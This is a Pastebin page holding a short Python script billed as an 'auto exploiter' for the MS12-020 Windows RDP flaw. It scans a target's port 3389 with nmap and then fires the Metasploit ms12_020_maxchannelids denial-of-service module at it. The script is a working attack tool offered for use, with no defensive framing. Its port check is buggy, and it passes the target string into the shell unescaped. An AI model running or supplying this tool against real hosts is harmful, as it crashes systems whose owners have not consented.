Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- print """
- *************************************************************
- \tAUTO EXPLOITER(ms12_020 rdp Exploit) \t
- \tWRITTEN BY : TEJASH PATEL \t
- \tFACEBOOK : https://www.facebook.com/tejash1991\t
- \tYOUTUBE CHANNEL : https://www.youtube.com/user/tejash443\t
- *************************************************************
- """
- import os
- import sys
- import subprocess
- import re
- if os.getuid() != 0:
- print 'requires root privileges.'
- sys.exit(1)
- def usage():
- if len(sys.argv) != 2:
- print 'Usage: ./smb.py [RemoteHost]'
- print 'EX) ./smb.py 192.168.1.50'
- print 'Watch Video - https://www.youtube.com/watch?v=03U0yDJ-TtI&feature=youtu.be'
- sys.exit(1)
- usage()
- RHOST = sys.argv[1]
- nmap = subprocess.Popen('nmap -p3389 %s -oN /tmp/nmap.txt' %RHOST, shell=True).wait()
- nmapresul = open('/tmp/nmap.txt', 'rU')
- found= nmapresul.read()
- vulnerability = re.search(r'3389[/]tcp\sopen', found)
- if not found:
- print '\n3389 Port is close'
- sys.exit(1)
- print '\nPort Is Open.Let me Check ms12_020 rdp Exploit'
- metasploit = subprocess.Popen('msfcli auxiliary/dos/windows/rdp/ms12_020_maxchannelids RHOST=%s RPORT=3389 E' %RHOST, shell=True).wait()
- subprocess.Popen('rm -f /tmp/nmap.txt > /dev/null', shell=True).wait()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement